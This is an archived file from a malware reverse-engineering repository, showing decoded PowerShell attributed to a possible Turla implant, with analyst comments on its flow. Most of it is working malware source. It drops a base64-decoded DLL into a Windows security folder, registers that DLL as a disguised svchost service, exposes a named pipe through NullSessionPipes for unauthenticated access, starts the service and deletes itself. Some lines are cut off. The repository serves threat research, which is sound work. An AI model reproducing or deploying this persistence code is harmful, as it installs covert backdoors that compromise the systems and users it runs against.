

https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-04-13-Possible-Turla-PowerShell-Implant.ps1

Archived: 2026-04-05 19:36:00 UTC

```
// @VK_INTEL
// MD5: 165be7620b78fe37cf25c797ee5b49e7
// POSSIBLE TURLA DECODED POWERSHELL IMPLANT
/*
GENERAL FLOW:
FindAmsiFun() -> Zip -> PowerSploit-Encoded ->
C:\Windows\security\database\securlsa.chk serveName 'pnrss' & pipeName = 'pnrsvc' Persistence
PowerShellRunner.dll
*/

/*
BASE64 POWERSHELLRUNNER
$LDD761jbd = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA
*/

Set-Content 'C:\Windows\security\database\securlsa.chk' -Value $([Convert]::FromBase64String($LDD761
[string]$servName='pnrssp';
[string]$fileName='securlsa.chk';
[string]$pipeName = 'pnrsvc';

function Reg-SetMS($registry, [string]$valueName, [string]$value)
{
    [string[]]$array = $registry.GetValue($valueName)

    If ($array -notcontains $value) {
        $array += $value
        $registry.SetValue($valueName, $array, 'MultiString')
    }
}

function Reg-DelMS($registry, [string]$valueName, $value)
{
    $array = $registry.GetValue($valueName)
    [string[]]$newarray = $array -ne $value
    $registry.SetValue($valueName, $newarray, 'MultiString')
}
```

```
function Install([string]$servName, [string]$fileName, [string]$pipeName)
{
    $serviceMain = "ServiceMain"
    $serviceDll = "ServiceDLL"

    New-Service -Name $servName -BinaryPathName "%SystemRoot%\system32\svchost.exe -k netsvcs" -l
        -Description "Uses the NTLM MS-CHAP protocol to encapsulate and nego

    $registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SOFTWARE\Microsoft\Windows NT\Current
    Reg-SetMS $registry "netsvcs" $servName
    $registry.Close()

    $registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SYSTEM\CurrentControlSet\services\$s
    $registry.SetValue($serviceMain, $serviceMain, 'String')
    $registry.SetValue($serviceDll, $env:SystemRoot + '\security\database\' + $fileName, 'Expand
    $registry.Close()

    if ($pipeName -ne $null)
    {
        $registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SYSTEM\CurrentControlSet\ser
        Reg-SetMS $registry "NullSessionPipes" $pipeName
        $registry.Close()
    }

    Start-Service -Name $servName
}

try
{
    Install $servName $fileName $pipeName

    echo "Success"
}
catch
{
    echo "Exception Type: $($_.Exception.GetType().FullName)"
    echo "Exception Message: $($_.Exception.Message)"
}

Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
```